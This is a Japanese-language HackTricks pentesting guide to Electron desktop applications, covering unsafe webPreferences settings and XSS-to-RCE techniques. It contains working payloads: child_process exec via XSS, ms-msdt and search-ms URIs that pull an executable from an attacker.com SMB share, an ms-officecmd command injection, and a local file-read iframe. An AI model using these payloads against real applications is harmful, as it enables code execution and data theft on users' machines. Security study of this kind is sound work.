Electron Desktop Apps

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客がスティーラマルウェアによって侵害されていないかをチェックする無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックして、無料でエンジンを試すことができます:


はじめに

Electronは、ローカルバックエンド(NodeJSを使用)とフロントエンド(Chromiumを使用)を組み合わせていますが、現代のブラウザのセキュリティメカニズムがいくつか欠けています。

通常、electronアプリのコードは.asarアプリケーション内にあり、コードを取得するにはそれを抽出する必要があります:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electronアプリのソースコード内のpacket.jsonには、セキュリティ設定が指定されているmain.jsファイルが見つかります。

{
"name": "standard-notes",
"main": "./app/index.js",

Electronには2つのプロセスタイプがあります:

  • メインプロセス(NodeJSへの完全なアクセス権を持つ)

  • レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されている必要があります)

レンダラープロセスはファイルをロードするブラウザウィンドウになります。

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

レンダラープロセスの設定は、main.jsファイル内のメインプロセス構成することができます。設定が正しく構成されている場合、いくつかの構成は、ElectronアプリケーションがRCEを取得したり、他の脆弱性を防ぐのに役立ちます。

Electronアプリケーションは、Node APIを介してデバイスにアクセスできますが、次のように設定してアクセスを防ぐことができます:

  • nodeIntegration - デフォルトではoffです。有効にすると、レンダラープロセスからNodeの機能にアクセスできます。

  • contextIsolation - デフォルトではonです。無効にすると、メインプロセスとレンダラープロセスが分離されません。

  • preload - デフォルトでは空です。

  • sandbox - デフォルトではオフです。これにより、NodeJSが実行できるアクションが制限されます。

  • WorkersでのNode Integration

  • nodeIntegrationInSubframes - デフォルトではoffです。

  • nodeIntegrationが有効になっている場合、これにより、Electronアプリケーション内のiframeに読み込まれるWebページでNode.js APIを使用できます。

  • nodeIntegrationが無効になっている場合、プリロードはiframe内で読み込まれます

構成の例:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

以下はこちらからのRCE payloadsです:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

トラフィックのキャプチャ

start-mainの設定を変更し、次のようなプロキシの使用を追加します:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron ローカルコードインジェクション

Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。詳細は以下を確認してください:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

nodeIntegrationon に設定されている場合、WebページのJavaScriptは require() を呼び出すだけで簡単にNode.jsの機能を使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

この設定で指定されたスクリプトは、レンダラー内の他のスクリプトよりも先にロードされるため、Node APIに無制限アクセスを持ちます:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

したがって、スクリプトはノード機能をページにエクスポートできます:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

contextIsolation がオンになっている場合、これは機能しません

RCE: XSS + contextIsolation

contextIsolation は、Web ページのスクリプトと JavaScript Electron の内部コードの間の分離されたコンテキストを導入し、各コードの JavaScript 実行が互いに影響を与えないようにします。これは RCE の可能性を排除するために必要な機能です。

コンテキストが分離されていない場合、攻撃者は次のことができます:

  1. レンダラー内で任意の JavaScript を実行(XSS または外部サイトへの移動)

  2. preload または Electron の内部コードで使用される組み込みメソッドを上書き

  3. 上書きされた関数の使用トリガー

  4. RCE?

組み込みメソッドを上書きできる場所は 2 か所あります:preload コードまたは Electron の内部コード:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

クリックイベントのバイパス

リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりに中クリックを行うことでそれらをバイパスできるかもしれません

window.addEventListener('click', (e) => {

shell.openExternalを介したRCE

この例についての詳細は、https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/を確認してください。

Electronデスクトップアプリケーションを展開する際には、nodeIntegrationcontextIsolationの正しい設定を確保することが重要です。これらの設定があることで、preloadスクリプトやElectronのメインプロセスからの**クライアントサイドリモートコード実行(RCE)**が効果的に防止されることが確立されています。

ユーザーがリンクに対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、これらはアプリケーションのセキュリティと機能性にとって重要です。

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

これらのリスナーは、デスクトップアプリケーションによってオーバーライドされ、独自のビジネスロジックを実装します。アプリケーションは、ナビゲートされたリンクを内部で開くか外部のWebブラウザで開くかを評価します。この決定は通常、openInternallyという関数を介して行われます。この関数がfalseを返すと、リンクはshell.openExternal関数を使用して外部で開かれるべきであることを示します。

以下は簡略化された疑似コードです:

Electron JSのセキュリティベストプラクティスでは、openExternal関数で信頼されていないコンテンツを受け入れないことが推奨されています。さまざまなプロトコルを介してRCEにつながる可能性があります。オペレーティングシステムは、この脆弱性を悪用する可能性のあるさまざまなプロトコルをサポートしています。このトピックに関する詳細な例や説明については、このリソースを参照してください。これには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。

Windowsプロトコルの脆弱性の例には、次のものがあります:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

内部ファイルの読み取り:XSS + contextIsolation

contextIsolationを無効にすると、<iframe>と同様に<webview>タグを使用して、ローカルファイルの読み取りと情報の外部への送信が可能になります。提供された例は、この脆弱性を悪用して内部ファイルの内容を読み取る方法を示しています:

さらに、Electronデスクトップアプリケーションにおける内部ファイルの読み取りの別の方法が共有されており、アプリケーションを悪用してデータを外部に送信するスクリプトを注入する方法が強調されています:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + 古い Chromium

アプリケーションで使用されている Chromium古い と、その中に 既知の脆弱性 がある場合、XSS を介して RCE を取得することが可能になるかもしれません。 この writeup で例を見ることができます: https://blog.electrovolt.io/posts/discord-rce/

内部 URL 正規表現バイパスを介した XSS フィッシング

XSS を見つけたが、RCE をトリガーできず内部ファイルを盗むことができない 場合、それを使用して フィッシングを通じて資格情報を盗む ことを試してみることができます。

まず、新しい URL を開こうとすると何が起こるかを知る必要があります。フロントエンドの JS コードをチェックしてください:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

**openInternally**の呼び出しは、そのリンクがプラットフォームに属するリンクであるため、デスクトップウィンドウで開かれるか、サードパーティのリソースとしてブラウザで開かれるかを決定します。

関数によって使用される正規表現バイパスに脆弱である場合(たとえば、サブドメインのドットをエスケープしない場合)、攻撃者はXSSを悪用して、ユーザーに資格情報を要求する攻撃者のインフラストラクチャにある新しいウィンドウを開くことができます。

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

ツール

  • Electronegativity は、Electronベースのアプリケーションでのミス構成とセキュリティアンチパターンを特定するためのツールです。

  • Electrolint は、Electronアプリケーション用のオープンソースのVS Codeプラグインで、Electronegativityを使用します。

  • nodejsscan は、脆弱なサードパーティライブラリをチェックするためのツールです。

  • Electro.ng:購入する必要があります

ラボ

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s には、脆弱なElectronアプリを悪用するためのラボがあります。

ラボで役立ついくつかのコマンド:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

参考文献

WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客がスティーラーマルウェアによって侵害されていないかをチェックする無料の機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated